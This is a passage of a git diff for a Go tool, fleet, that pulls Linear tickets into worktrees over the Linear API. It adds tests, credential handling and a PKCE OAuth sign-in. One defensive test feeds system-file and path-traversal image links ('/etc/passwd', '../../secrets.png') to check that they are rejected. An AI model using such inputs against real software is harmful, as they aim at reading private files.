nil, nil}, + {"unknown issue is a 200", 200, + []gqlErrorEntry{{Message: "Entity not found: Issue"}}, ErrNotFound}, + {"rejected credential", 401, + []gqlErrorEntry{{Message: "Authentication required, not authenticated"}}, ErrNotAuthenticated}, + {"auth error code without a 401", 200, + []gqlErrorEntry{{Message: "nope", Extensions: struct { + Type string `json:"type"` + Code string `json:"code"` + }{Code: "AUTHENTICATION_ERROR"}}}, ErrNotAuthenticated}, + {"forbidden", 403, nil, ErrNotAuthenticated}, } - if !strings.Contains(lits, `"update"`) || !strings.Contains(lits, `"started"`) { - t.Errorf("MoveToStarted should run `issue update -s started`, got literals: %s", lits) + for _, c := range cases { + got := classifyGraphQL(c.status, c.errs) + if got != c.want { + t.Errorf("%s: classifyGraphQL = %v, want %v", c.name, got, c.want) + } + } + + // An unrecognised error must still be an error, not a silent success. + if err := classifyGraphQL(200, []gqlErrorEntry{{Message: "Query too complex"}}); err == nil { + t.Error("an unclassified errors[] entry must not read as success") } } @@ -141,58 +219,71 @@ func TestSeedPromptOmitsImagesWhenNoneDownloaded(t *testing.T) { } func TestIdentifierFromBranch(t *testing.T) { + brz := []string{"BRZ"} cases := []struct { - branch, team, want string + branch string + teams []string + want string }{ - {"brz-3182-magic-fix", "BRZ", "BRZ-3182"}, - {"BRZ-3182-Remove-streamer", "BRZ", "BRZ-3182"}, - {"alice/brz-1594-conversation-items", "BRZ", "BRZ-1594"}, - {"brz-3182", "BRZ", "BRZ-3182"}, - {"BRZ-3182", "brz", "BRZ-3182"}, - - // The whole point of the team gate. The CLI's own branch parser has no - // gate and reads these as identifiers for teams that don't exist. - {"fix-123-something", "BRZ", ""}, - {"release-2024-cleanup", "BRZ", ""}, - {"eng-42-other-team", "BRZ", ""}, + {"brz-3182-magic-fix", brz, "BRZ-3182"}, + {"BRZ-3182-Remove-streamer", brz, "BRZ-3182"}, + {"alice/brz-1594-conversation-items", brz, "BRZ-1594"}, + {"brz-3182", brz, "BRZ-3182"}, + {"BRZ-3182", []string{"brz"}, "BRZ-3182"}, + + // A repo may track more than one team — a workspace routinely has + // several, and both must resolve. + {"prd-7-spec", []string{"BRZ", "PRD"}, "PRD-7"}, + {"brz-9-x", []string{"BRZ", "PRD"}, "BRZ-9"}, + + // The whole point of the team gate. An ungated parser reads these as + // identifiers for teams that don't exist. + {"fix-123-something", brz, ""}, + {"release-2024-cleanup", brz, ""}, + {"eng-42-other-team", brz, ""}, // Real non-ticket branches from the user's tree. - {"kinshasa", "BRZ", ""}, - {"frosty-mahavira", "BRZ", ""}, - {"brzctl-gcp-project-default", "BRZ", ""}, - {"master", "BRZ", ""}, + {"kinshasa", brz, ""}, + {"frosty-mahavira", brz, ""}, + {"brzctl-gcp-project-default", brz, ""}, + {"master", brz, ""}, - {"brz-3182-x", "", ""}, - {"", "BRZ", ""}, + {"brz-3182-x", nil, ""}, + {"", brz, ""}, } for _, c := range cases { - if got := IdentifierFromBranch(c.branch, c.team); got != c.want { - t.Errorf("IdentifierFromBranch(%q, %q) = %q, want %q", c.branch, c.team, got, c.want) + if got := IdentifierFromBranch(c.branch, c.teams); got != c.want { + t.Errorf("IdentifierFromBranch(%q, %v) = %q, want %q", c.branch, c.teams, got, c.want) } } } func TestLooksLikeIdentifier(t *testing.T) { + brz := []string{"BRZ"} cases := []struct { - text, team, want string - ok bool + text string + teams []string + want string + ok bool }{ - {"BRZ-3182", "BRZ", "BRZ-3182", true}, - {"brz-3182", "BRZ", "BRZ-3182", true}, - {" BRZ-3182 ", "BRZ", "BRZ-3182", true}, + {"BRZ-3182", brz, "BRZ-3182", true}, + {"brz-3182", brz, "BRZ-3182", true}, + {" BRZ-3182 ", brz, "BRZ-3182", true}, + {"prd-7", []string{"BRZ", "PRD"}, "PRD-7", true}, // Prose must NOT look like an identifier — this is what keeps the // suggestion list from ever stealing Enter from someone naming a branch. - {"drawer", "BRZ", "", false}, - {"brz-3182-fix", "BRZ", "", false}, - {"fix-123", "BRZ", "", false}, - {"", "BRZ", "", false}, + {"drawer", brz, "", false}, + {"brz-3182-fix", brz, "", false}, + {"fix-123", brz, "", false}, + {"", brz, "", false}, + {"BRZ-3182", nil, "", false}, } for _, c := range cases { - got, ok := LooksLikeIdentifier(c.text, c.team) + got, ok := LooksLikeIdentifier(c.text, c.teams) if got != c.want || ok != c.ok { - t.Errorf("LooksLikeIdentifier(%q, %q) = (%q, %v), want (%q, %v)", - c.text, c.team, got, ok, c.want, c.ok) + t.Errorf("LooksLikeIdentifier(%q, %v) = (%q, %v), want (%q, %v)", + c.text, c.teams, got, ok, c.want, c.ok) } } } @@ -247,37 +338,107 @@ func TestDetectExtRecoversExtension(t *testing.T) { } } -func TestFindImagesClassifiesLocalAndRemote(t *testing.T) { +// TestFindImagesTakesOnlyRemoteLinks pins what fleet is willing to go and fetch. +// +// Linear's markdown carries absolute uploads.linear.app URLs; anything else in a +// description — a relative path, a data URI, a link to someone's laptop — is not +// something fleet has any business reading off the filesystem and copying into a +// worktree. +func TestFindImagesTakesOnlyRemoteLinks(t *testing.T) { md := []byte("text\n" + - "![shot](/var/folders/x/linear-cli-images/abc/image)\n" + + "![shot](/etc/passwd)\n" + + "![rel](../../secrets.png)\n" + + "![inline](data:image/png;base64,AAAA)\n" + "![other](https://uploads.linear.app/a/b/c)\n") refs := findImages(md) - if len(refs) != 2 { - t.Fatalf("found %d images, want 2", len(refs)) - } - if refs[0].remote { - t.Error("an absolute local path must not be classified remote") + if len(refs) != 1 { + t.Fatalf("found %d images, want only the remote one: %+v", len(refs), refs) } - if !refs[1].remote { - t.Error("an uploads.linear.app URL must be classified remote — that is the " + - "signal that the CLI's downloader failed and fleet should fetch it") + if refs[0].target != "https://uploads.linear.app/a/b/c" { + t.Errorf("kept the wrong link: %q", refs[0].target) } } -func TestTeamKeyReadsOnlyTeamID(t *testing.T) { +func TestTeamKeysReadOnlyTeamID(t *testing.T) { dir := t.TempDir() toml := "# linear cli\nworkspace = \"brizz\"\nteam_id = \"BRZ\"\napi_key = \"lin_api_SECRET\"\n" - if err := os.WriteFile(filepath.Join(dir, configFile), []byte(toml), 0644); err != nil { + if err := os.WriteFile(filepath.Join(dir, linearConfigFile), []byte(toml), 0644); err != nil { t.Fatal(err) } - key, ok := TeamKey(dir) - if !ok || key != "BRZ" { - t.Fatalf("TeamKey = (%q, %v), want (BRZ, true)", key, ok) + got := TeamKeys(dir) + if len(got) != 1 || got[0] != "BRZ" { + t.Fatalf("TeamKeys = %v, want [BRZ]", got) } - // fleet must never carry a credential; the key never leaves the file. - if _, ok := TeamKey(t.TempDir()); ok { - t.Error("a repo with no .linear.toml must report not-connected") + // fleet resolves its own credential. An api_key sitting in another tool's + // config is none of its business, and must never be adopted. + if data, err := os.ReadFile(filepath.Join(dir, linearConfigFile)); err != nil { + t.Fatal(err) + } else if !strings.Contains(string(data), "lin_api_SECRET") { + t.Fatal("precondition: the fixture should contain an api_key to ignore") + } + + // A repo naming no team is the resting state — nil, not an error, and it is + // what keeps an unrelated repo silent for a connected user. + if got := TeamKeys(t.TempDir()); got != nil { + t.Errorf("a repo with no Linear config must report no teams, got %v", got) + } + + // .fleet.json wins over .linear.toml: it is fleet's own config, and it is + // the only form available to someone who never installed the other tool. + if err := os.WriteFile(filepath.Join(dir, ".fleet.json"), + []byte(`{"linear":{"teams":["prd","inf"]}}`), 0644); err != nil { + t.Fatal(err) + } + got = TeamKeys(dir) + if len(got) != 2 || got[0] != "PRD" || got[1] != "INF" { + t.Fatalf("TeamKeys = %v, want [PRD INF] upper-cased from .fleet.json", got) + } +} + +// TestCredentialResolutionOrder pins that the environment outranks the store. +// +// That order is what lets a stale or wrong stored credential be overridden +// without any UI, and it is the only path that works in CI, where there is no +// keychain to read. +func TestCredentialResolutionOrder(t *testing.T) { + orig := getenv + t.Cleanup(func() { getenv = orig; resetCredentialForTest() }) + + getenv = func(k string) string { + if k == APIKeyEnvVar { + return "lin_api_fromEnv" + } + return "" + } + resetCredentialForTest() + if !Available() { + t.Fatal("an environment key must make Linear available without touching the keychain") + } + c, err := credential() + if err != nil || c.Token != "lin_api_fromEnv" || c.Kind != credAPIKey { + t.Fatalf("credential = (%+v, %v), want the environment key", c, err) + } + if got := ConnectedVia(); !strings.Contains(got, APIKeyEnvVar) { + t.Errorf("ConnectedVia = %q, should name the environment so the dialog can say it is not disconnectable from here", got) + } + + getenv = func(string) string { return "" } + resetCredentialForTest() + if _, err := credential(); err != ErrNotConnected { + t.Errorf("with no environment key and nothing stored, credential must be ErrNotConnected, got %v", err) + } +} + +// TestAuthHeaderFormDiffersByKind pins the one place the two credential kinds +// diverge. A personal API key is sent raw; an OAuth token takes Bearer. Sending +// either in the other form reads as a rejected credential. +func TestAuthHeaderFormDiffersByKind(t *testing.T) { + if got := (Credential{Kind: credAPIKey, Token: "k"}).authHeader(); got != "k" { + t.Errorf("api key header = %q, want the raw token", got) + } + if got := (Credential{Kind: credOAuth, Token: "k"}).authHeader(); got != "Bearer k" { + t.Errorf("oauth header = %q, want Bearer", got) } } @@ -313,33 +474,12 @@ func TestNegativePinStopsRefetch(t *testing.T) { } } -// TestDecodeTicketListAgainstV2Payload pins the JSON shape `linear issue query -// --json` actually returns on CLI v2.5.0. -// -// It is NOT a bare array: v2.0.0 changed the output to preserve GraphQL -// connection shapes, so it arrives as {"nodes": [...], "pageInfo": {...}}. A -// decoder written against the obvious guess returns nothing, silently, and the -// suggestion list simply never appears. -// -// The fixture mirrors a real response's structure — all 17 v2 keys per node, a -// nested state object — with invented content, because this repo is public and -// a captured payload would publish a workspace's roadmap. -func TestDecodeTicketListAgainstV2Payload(t *testing.T) { - data, err := os.ReadFile(filepath.Join("testdata", "query_v2.json")) - if err != nil { - t.Skipf("no captured payload: %v", err) - } - got := decodeTicketList(data) - if len(got) == 0 { - t.Fatal("decoded no tickets from a v2-shaped query payload") - } - for _, ti := range got { - if ti.Identifier == "" || ti.Title == "" { - t.Errorf("incomplete ticket decoded: %+v", ti) - } - } - if got[0].StateName == "" { - t.Error("state.name did not decode — the suggestion rows would show no state") - } - t.Logf("decoded %d tickets, first = %s %q (%s)", len(got), got[0].Identifier, got[0].Title, got[0].StateName) +// resetCredentialForTest drops the cached credential so a test can re-resolve. +func resetCredentialForTest() { + credState.mu.Lock() + credState.cred = Credential{} + credState.loaded = false + credState.warmed.Store(false) + credState.present.Store(false) + credState.mu.Unlock() } diff --git a/internal/linear/materialize.go b/internal/linear/materialize.go index bbcb0d38..0c9cec1e 100644 --- a/internal/linear/materialize.go +++ b/internal/linear/materialize.go @@ -38,23 +38,14 @@ type Result struct { Images int ImagesDropped int - UsedFallback bool // fleet downloaded images the CLI failed to fetch StateMoved string // resulting state name; "" if not attempted or failed } // Opts configures one materialization. type Opts struct { - // RepoDir is any directory inside the repo — the CLI locates .linear.toml - // by shelling `git rev-parse --show-toplevel` in its own cwd, so this must - // not be empty and must not point outside the checkout. - RepoDir string WorktreePath string Identifier string - // Ticket, when already fetched (the worktree dialog pays that ~0.5s round - // trip while the user is still looking at the form), skips the metadata call. - Ticket Ticket - // MoveState requests the one mutation fleet ever makes. MoveState bool } @@ -83,7 +74,7 @@ func TicketDir(worktreePath, id string) string { // // This is the fast path and the steady state: every session after the first in // a ticket worktree hits it, at the cost of one ReadDir and one ReadFile, with -// no subprocess and no network. The filesystem is the ledger — it survives +// no network. The filesystem is the ledger — it survives // restarts, survives losing state.db, and a user who deletes the directory gets // a re-fetch, which is the natural "refresh this ticket" gesture. func ExistingPrompt(worktreePath string) (string, bool) { @@ -131,9 +122,6 @@ func pinNoTicket(worktreePath, id string) { func Materialize(ctx context.Context, o Opts) (Result, error) { var res Result - if !Available() { - return res, ErrNotInstalled - } if o.WorktreePath == "" || o.Identifier == "" { return res, fmt.Errorf("linear: materialize needs a worktree and an identifier") } @@ -144,27 +132,17 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { } defer inFlight.Delete(o.WorktreePath) - repoDir := o.RepoDir - if repoDir == "" { - repoDir = o.WorktreePath - } - - // Metadata first: it is the cheap call, and it is what tells us the ticket - // exists at all before we create directories for it. - t := o.Ticket - if !t.Ok() { - fetched, err := Fetch(ctx, repoDir, id) - if err != nil { - if err == ErrNotFound { - pinNoTicket(o.WorktreePath, id) - } - return res, err + // One round trip for everything: description, comments, labels, and the + // team's workflow states so the optional state write needs no second query. + issue, err := fetchFull(ctx, id) + if err != nil { + if err == ErrNotFound { + pinNoTicket(o.WorktreePath, id) } - t = fetched + return res, err } - res.Ticket = t - res.Identifier = t.Identifier + res.Ticket = issue.ticket() dir := TicketDir(o.WorktreePath, res.Identifier) res.Dir = dir res.RelDir = filepath.Join(fleetDir, ticketDir, res.Identifier) @@ -182,21 +160,14 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { return res, fmt.Errorf("create %s: %w", imgDir, err) } - // The markdown pass, never --json: the JSON branch returns before the CLI's - // image downloader runs. - markdown, err := fetchMarkdown(ctx, repoDir, res.Identifier) - if err != nil { - return res, err - } - - body, images, dropped, fallback := o.collectImages(ctx, repoDir, markdown, imgDir) - res.Images, res.ImagesDropped, res.UsedFallback = images, dropped, fallback + body, images, dropped := collectImages(ctx, renderBody(issue), imgDir) + res.Images, res.ImagesDropped = images, dropped if images == 0 { _ = os.Remove(imgDir) // only succeeds when empty, which is what we want } - if err := os.WriteFile(filepath.Join(dir, ticketFile), renderTicketFile(res, body), 0644); err != nil { + if err := os.WriteFile(filepath.Join(dir, ticketFile), renderTicketFile(res, issue, body), 0644); err != nil { return res, fmt.Errorf("write %s: %w", ticketFile, err) } @@ -209,10 +180,10 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { m := meta{Identifier: res.Identifier, FetchedAt: time.Now(), Images: images, StateWrite: "skipped"} if o.MoveState { - if name, err := MoveToStarted(ctx, repoDir, res.Identifier); err != nil { + if name, err := MoveToStarted(ctx, issue); err != nil { m.StateWrite = "failed" debuglog.Logger.Warn("linear: could not move issue to started", "id", res.Identifier, "error", err) - } else { + } else if name != "" { m.StateWrite = "done" res.StateMoved = name } @@ -220,102 +191,166 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { writeMeta(dir, m) analytics.Track(analytics.EventLinearTicketMaterialized, map[string]any{ - "images": images, - "dropped": dropped, - "fallback": fallback, + "images": images, + "dropped": dropped, }) return res, nil } -// collectImages copies every image the markdown references into imgDir and +// fetchFull reads the whole issue in one query. +func fetchFull(ctx context.Context, id string) (*issueFull, error) { + var out struct { + Issue *issueFull `json:"issue"` + } + if err := execute(ctx, fullTimeout, issueFullQuery, map[string]any{"id": id}, &out); err != nil { + return nil, err + } + if out.Issue == nil || out.Issue.Identifier == "" { + return nil, ErrNotFound + } + return out.Issue, nil +} + +// renderBody turns the issue into the markdown an agent will read. +// +// fleet composes this itself rather than asking the API for a rendered form, +// which is what lets comments carry their author and time. "Who asked for this +// and when" is usually the part that decides whether a ticket is still current. +func renderBody(i *issueFull) string { + var b strings.Builder + desc := strings.TrimSpace(i.Description) + if desc == "" { + desc = "_(no description)_" + } + b.WriteString("## Description\n\n") + b.WriteString(desc) + b.WriteString("\n") + + if n := len(i.Comments.Nodes); n > 0 { + fmt.Fprintf(&b, "\n## Comments (%d)\n", n) + for _, c := range i.Comments.Nodes { + author := "someone" + if c.User != nil && c.User.DisplayName != "" { + author = c.User.DisplayName + } + fmt.Fprintf(&b, "\n### %s — %s\n\n", author, c.CreatedAt.Format("2006-01-02 15:04")) + b.WriteString(strings.TrimSpace(c.Body)) + b.WriteString("\n") + } + } + + if n := len(i.Children.Nodes); n > 0 { + b.WriteString("\n## Sub-issues\n\n") + for _, c := range i.Children.Nodes { + fmt.Fprintf(&b, "- %s — %s\n", c.Identifier, c.Title) + } + } + + // Attachments are links (PRs, Figma, Slack threads), not files. Listed + // rather than downloaded: fleet fetches images because an agent cannot + // follow a URL, and it deliberately does not go crawling anything else. + if n := len(i.Attachments.Nodes); n > 0 { + b.WriteString("\n## Links\n\n") + for _, a := range i.Attachments.Nodes { + title := a.Title + if title == "" { + title = a.URL + } + fmt.Fprintf(&b, "- [%s](%s)\n", title, a.URL) + } + } + return b.String() +} + +// collectImages downloads every image the body references into imgDir and // rewrites the links to the relative paths the agent will read. // -// Both halves are required and neither is sufficient alone: an absolute -// $TMPDIR path is outside the project root (so an agent's read prompts for -// permission, or the file has been purged), and an extensionless filename -// defeats extension dispatch. Fix one and the agent still sees nothing. -func (o Opts) collectImages(ctx context.Context, repoDir string, markdown []byte, imgDir string) (body string, kept, dropped int, usedFallback bool) { - refs := findImages(markdown) - body = string(markdown) - - var token string - var tokenTried bool - var total int64 +// Both halves are required and neither is sufficient alone: an uploads.linear.app +// URL is 401 to an agent with no credential, and an extensionless filename +// defeats extension dispatch in its file-read tool. Fix one and the agent still +// sees nothing. +func collectImages(ctx context.Context, markdown, imgDir string) (body string, kept, dropped int) { + refs := findImages([]byte(markdown)) + body = markdown + var total int64 for i, ref := range refs { if kept >= maxImages || total >= maxTotalBytes { dropped++ continue } - - var name string - var size int64 - var err error - - if ref.remote { - // The CLI's downloader failed and swallowed the error — the - // signature of the v1.7.0 build compiled without - // --allow-net=uploads.linear.app. Fetch it ourselves. - if !tokenTried { - tokenTried = true - token, _ = authToken(ctx, repoDir) - } - if token == "" { - dropped++ - continue - } - name, size, err = fetchRemoteImage(ctx, ref.target, token, imgDir, ref.alt, i+1) - if err == nil { - usedFallback = true - } - } else { - name, size, err = copyLocalImage(ref.target, imgDir, i+1) - } - + name, size, err := fetchImage(ctx, ref.target, imgDir, ref.alt, i+1) if err != nil { - debuglog.Logger.Debug("linear: image unavailable", "target", ref.target, "error", err) + debuglog.Logger.Debug("linear: image unavailable", "error", err) dropped++ continue } - kept++ total += size body = strings.ReplaceAll(body, ref.target, filepath.Join(imagesDir, name)) } - return body, kept, dropped, usedFallback + return body, kept, dropped } -// renderTicketFile writes front matter carrying the two things the markdown -// pass does not emit — the URL and the state — plus honest provenance, so a -// reader (human or agent) knows this is a snapshot rather than live state. -func renderTicketFile(r Result, body string) []byte { +// renderTicketFile writes front matter carrying the fields the body does not, +// plus honest provenance, so a reader (human or agent) knows this is a snapshot +// rather than live state. +func renderTicketFile(r Result, i *issueFull, body string) []byte { var b strings.Builder b.WriteString("---\n") fmt.Fprintf(&b, "ticket: %s\n", r.Identifier) + fmt.Fprintf(&b, "title: %s\n", r.Title) if r.URL != "" { fmt.Fprintf(&b, "url: %s\n", r.URL) } if r.StateName != "" { fmt.Fprintf(&b, "state_when_fetched: %s\n", r.StateName) } + if i.Assignee != nil && i.Assignee.DisplayName != "" { + fmt.Fprintf(&b, "assignee: %s\n", i.Assignee.DisplayName) + } + if p := priorityName(i.Priority); p != "" { + fmt.Fprintf(&b, "priority: %s\n", p) + } + if n := len(i.Labels.Nodes); n > 0 { + names := make([]string, 0, n) + for _, l := range i.Labels.Nodes { + names = append(names, l.Name) + } + fmt.Fprintf(&b, "labels: %s\n", strings.Join(names, ", ")) + } + if i.Parent != nil && i.Parent.Identifier != "" { + fmt.Fprintf(&b, "parent: %s — %s\n", i.Parent.Identifier, i.Parent.Title) + } fmt.Fprintf(&b, "fetched_at: %s\n", time.Now().UTC().Format(time.RFC3339)) - fmt.Fprintf(&b, "fetched_by: fleet, via `linear issue view %s`\n", r.Identifier) fmt.Fprintf(&b, "images: %d\n", r.Images) b.WriteString("---\n\n") - b.WriteString("\n\n") + b.WriteString("\n\n") b.WriteString(strings.TrimSpace(body)) b.WriteString("\n") if r.ImagesDropped > 0 { fmt.Fprintf(&b, "\n> %d further image(s) were not downloaded: over fleet's per-ticket cap, "+ "or not a readable image.\n", r.ImagesDropped) } - if r.Images == 0 { - b.WriteString("\n> No images were downloaded. If this ticket has screenshots, your `linear` " + - "CLI may be too old to fetch them — `brew upgrade schpet/tap/linear`.\n") - } return []byte(b.String()) } +// priorityName maps Linear's numeric priority. 0 means "not set", which is not +// worth a line in the front matter. +func priorityName(p int) string { + switch p { + case 1: + return "urgent" + case 2: + return "high" + case 3: + return "medium" + case 4: + return "low" + } + return "" +} + func writeMeta(dir string, m meta) { data, err := json.MarshalIndent(m, "", " ") if err != nil { diff --git a/internal/linear/materialize_e2e_test.go b/internal/linear/materialize_e2e_test.go index 5f4bfe9f..83d6d7a7 100644 --- a/internal/linear/materialize_e2e_test.go +++ b/internal/linear/materialize_e2e_test.go @@ -2,40 +2,34 @@ package linear import ( "context" - "net/http" "os" "path/filepath" "strings" "testing" ) -// TestMaterializeEndToEnd exercises the real `linear` CLI against a real issue. +// TestMaterializeEndToEnd exercises the real Linear API against a real issue. // -// Opt-in, because it needs an authenticated CLI and network: +// Opt-in, because it needs a credential and network: // -// FLEET_LINEAR_E2E=BRZ-1515 go test ./internal/linear/ -run EndToEnd -v +// LINEAR_API_KEY=lin_api_… FLEET_LINEAR_E2E=BRZ-1515 go test ./internal/linear/ -run EndToEnd -v // // It never mutates Linear — MoveState stays false, so nothing is written to the // issue. What it proves is the part that is easy to get subtly wrong and -// impossible to catch in a unit test: that the markdown pass yields links we can -// resolve, that images land on disk with a usable extension, and that the -// fallback download works on a CLI whose own downloader is broken. +// impossible to catch in a unit test: that an authenticated image download +// actually succeeds, that the bytes land with a usable extension, and that every +// surviving link in ticket.md is one the agent can open. func TestMaterializeEndToEnd(t *testing.T) { id := os.Getenv("FLEET_LINEAR_E2E") if id == "" { t.Skip("set FLEET_LINEAR_E2E= to run") } - if !Available() { - t.Skip("linear CLI not installed") - } - repo := os.Getenv("FLEET_LINEAR_E2E_REPO") - if repo == "" { - t.Skip("set FLEET_LINEAR_E2E_REPO=") + if os.Getenv(APIKeyEnvVar) == "" { + t.Skipf("set %s to run", APIKeyEnvVar) } wt := t.TempDir() res, err := Materialize(context.Background(), Opts{ - RepoDir: repo, WorktreePath: wt, Identifier: id, MoveState: false, // never mutate a real issue from a test @@ -43,8 +37,7 @@ func TestMaterializeEndToEnd(t *testing.T) { if err != nil { t.Fatalf("Materialize: %v", err) } - - t.Logf("identifier=%s images=%d dropped=%d fallback=%v", res.Identifier, res.Images, res.ImagesDropped, res.UsedFallback) + t.Logf("identifier=%s images=%d dropped=%d", res.Identifier, res.Images, res.ImagesDropped) body, err := os.ReadFile(filepath.Join(res.Dir, ticketFile)) if err != nil { @@ -54,39 +47,31 @@ func TestMaterializeEndToEnd(t *testing.T) { t.Error("ticket.md is missing its front matter") } - // Every surviving link must be a relative images/ path — an absolute - // $TMPDIR path is outside the project root (the agent's read tool prompts - // or the file is purged) and a remote URL is 401. + // No link may still point at Linear. An uploads.linear.app URL is 401 to + // the agent, which is the exact failure this whole path exists to remove. + if strings.Contains(string(body), uploadsHost) { + t.Error("ticket.md still carries an uploads.linear.app URL — the agent cannot open those") + } + for _, ref := range findImages(body) { - if ref.remote || filepath.IsAbs(ref.target) { - t.Errorf("ticket.md still links %q; it must point inside images/", ref.target) - } + t.Errorf("ticket.md kept a remote image link: %s", ref.target) } if res.Images == 0 { - t.Log("no images on this ticket (or none could be fetched) — pick a ticket with screenshots to exercise that path") return } - entries, err := os.ReadDir(filepath.Join(res.Dir, imagesDir)) if err != nil { - t.Fatalf("images dir missing despite Images=%d: %v", res.Images, err) - } - if len(entries) != res.Images { - t.Errorf("Images=%d but %d files on disk", res.Images, len(entries)) + t.Fatalf("images/ missing though %d were reported: %v", res.Images, err) } for _, e := range entries { - p := filepath.Join(res.Dir, imagesDir, e.Name()) - data, err := os.ReadFile(p) - if err != nil || len(data) == 0 { - t.Errorf("%s is unreadable or empty", e.Name()) - continue - } - if ext := filepath.Ext(e.Name()); ext == "" { - t.Errorf("%s has no extension — an agent's read tool dispatches on it", e.Name()) + ext := strings.ToLower(filepath.Ext(e.Name())) + if _, known := knownImageExt[ext]; !known { + t.Errorf("%s has no usable extension — an agent's file-read tool dispatches on it", e.Name()) } - if ct := http.DetectContentType(data); !strings.HasPrefix(ct, "image/") { - t.Errorf("%s is %s, not an image", e.Name(), ct) + info, err := e.Info() + if err != nil || info.Size() == 0 { + t.Errorf("%s is empty", e.Name()) } } } diff --git a/internal/linear/oauth.go b/internal/linear/oauth.go new file mode 100644 index 00000000..91e38618 --- /dev/null +++ b/internal/linear/oauth.go @@ -0,0 +1,307 @@ +package linear + +import ( + "context" + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "encoding/json" + "errors" + "fmt" + "net" + "net/http" + "net/url" + "os/exec" + "runtime" + "strings" + "time" +) + +// Linear's OAuth endpoints. The authorize URL is on the app domain and the token +// endpoint on the API domain — they are deliberately not the same host. +const ( + authorizeURL = "https://linear.app/oauth/authorize" + tokenURL = "https://api.linear.app/oauth/token" +) + +// oauthScopes is the minimum fleet needs: read everything it materializes, and +// write for the single issueUpdate that moves a ticket to started. Deliberately +// not `admin`, and not the issues:create / comments:create scopes — fleet never +// creates anything in Linear. +const oauthScopes = "read,write" + +// clientID identifies fleet's OAuth application. +// +// Public by design and safe to embed, the same way the PostHog project key is: +// with PKCE there is no client secret, and the registered redirect URIs are what +// actually stop someone else using it. Overridable so a fork or a self-hosted +// setup can point at its own registration. +var clientID = defaultClientID + +const defaultClientID = "" + +// callbackPorts are the loopback ports fleet will listen on, in order. +// +// Fixed rather than ephemeral because Linear matches the redirect_uri against +// the app's registered list, so a random port would simply be rejected. Three of +// them, because a developer machine running a dozen services will occasionally +// have one taken, and losing the whole sign-in to a port collision would be a +// silly way to fail. +var callbackPorts = []int{53682, 53683, 53684} + +const callbackPath = "/oauth/callback" + +// oauthTimeout bounds the whole browser round trip. Long enough to find the +// window, log in, and pick a workspace; short enough that an abandoned attempt +// releases the port. +const oauthTimeout = 3 * time.Minute + +// ErrOAuthUnavailable means fleet cannot run a browser sign-in on this machine — +// no registered port free, or nothing to open a browser with. +// +// It is a routing error, not a failure: the Connect dialog's answer is to point +// at the paste-a-key path, which is exactly why both exist. +var ErrOAuthUnavailable = errors.New("linear: browser sign-in unavailable here") + +// errStateMismatch is what a callback that did not come from fleet's own request +// produces. Named so the guard test can assert on identity rather than prose. +var errStateMismatch = errors.New("linear: sign-in state mismatch — the response did not come from the request fleet made") + +// OAuthConfigured reports whether this build carries a client ID. +func OAuthConfigured() bool { return clientIDValue() != "" } + +func clientIDValue() string { + if v := strings.TrimSpace(getenv("FLEET_LINEAR_CLIENT_ID")); v != "" { + return v + } + return clientID +} + +// pkce is one sign-in attempt's proof-of-possession pair. +type pkce struct { + verifier string + challenge string +} + +func newPKCE() (pkce, error) { + raw := make([]byte, 64) + if _, err := rand.Read(raw); err != nil { + return pkce{}, err + } + // RFC 7636: the verifier is 43-128 unreserved characters. base64url of 64 + // random bytes is 86, comfortably inside that. + verifier := base64.RawURLEncoding.EncodeToString(raw) + sum := sha256.Sum256([]byte(verifier)) + return pkce{verifier: verifier, challenge: base64.RawURLEncoding.EncodeToString(sum[:])}, nil +} + +func randomState() (string, error) { + raw := make([]byte, 24) + if _, err := rand.Read(raw); err != nil { + return "", err + } + return base64.RawURLEncoding.EncodeToString(raw), nil +} + +// listenOnRegisteredPort binds the first free registered port. +func listenOnRegisteredPort() (net.Listener, string, error) { + for _, port := range callbackPorts { + ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port)) + if err != nil { + continue + } + return ln, fmt.Sprintf("http://localhost:%d%s", port, callbackPath), nil + } + return nil, "", ErrOAuthUnavailable +} + +// openBrowser hands the URL to the desktop. +// +// A failure here is reported rather than swallowed: over SSH there is no browser +// at all, and silently "starting" a sign-in the user can never complete would +// leave them staring at a spinner until the timeout. +func openBrowser(u string) error { + var cmd *exec.Cmd + switch runtime.GOOS { + case "darwin": + cmd = exec.Command("open", u) + case "linux": + cmd = exec.Command("xdg-open", u) + default: + return ErrOAuthUnavailable + } + if err := cmd.Start(); err != nil { + return fmt.Errorf("%w: %v", ErrOAuthUnavailable, err) + } + return nil +} + +type tokenResponse struct { + AccessToken string `json:"access_token"` + TokenType string `json:"token_type"` + ExpiresIn int `json:"expires_in"` + RefreshToken string `json:"refresh_token"` +} + +// SignIn runs the full browser sign-in and returns a credential. +// +// Blocking, and meant to be called from a tea.Cmd. It never stores anything — +// the caller verifies the credential and decides, which keeps the "nothing is +// saved until it is proven to work" rule in one place. +func SignIn(ctx context.Context) (Credential, error) { + if !OAuthConfigured() { + return Credential{}, ErrOAuthUnavailable + } + + ln, redirect, err := listenOnRegisteredPort() + if err != nil { + return Credential{}, err + } + defer ln.Close() + + p, err := newPKCE() + if err != nil { + return Credential{}, err + } + state, err := randomState() + if err != nil { + return Credential{}, err + } + + type callback struct { + code string + err error + } + results := make(chan callback, 1) + + srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != callbackPath { + http.NotFound(w, r) + return + } + q := r.URL.Query() + // The state check is the CSRF defence, and it must run before the code + // is touched: without it anyone who can reach this loopback port during + // the window can feed fleet an authorization code of their choosing. + if q.Get("state") != state { + http.Error(w, "state mismatch", http.StatusBadRequest) + results <- callback{err: errStateMismatch} + return + } + if e := q.Get("error"); e != "" { + writeCallbackPage(w, "Sign-in was declined.", "You can close this tab.") + results <- callback{err: fmt.Errorf("linear: sign-in declined (%s)", e)} + return + } + code := q.Get("code") + if code == "" { + writeCallbackPage(w, "Something went wrong.", "No authorization code came back.") + results <- callback{err: errors.New("linear: sign-in returned no code")} + return + } + writeCallbackPage(w, "fleet is connected to Linear.", "You can close this tab and go back to your terminal.") + results <- callback{code: code} + })} + go func() { _ = srv.Serve(ln) }() + defer func() { + shutCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + _ = srv.Shutdown(shutCtx) + }() + + q := url.Values{} + q.Set("response_type", "code") + q.Set("client_id", clientIDValue()) + q.Set("redirect_uri", redirect) + 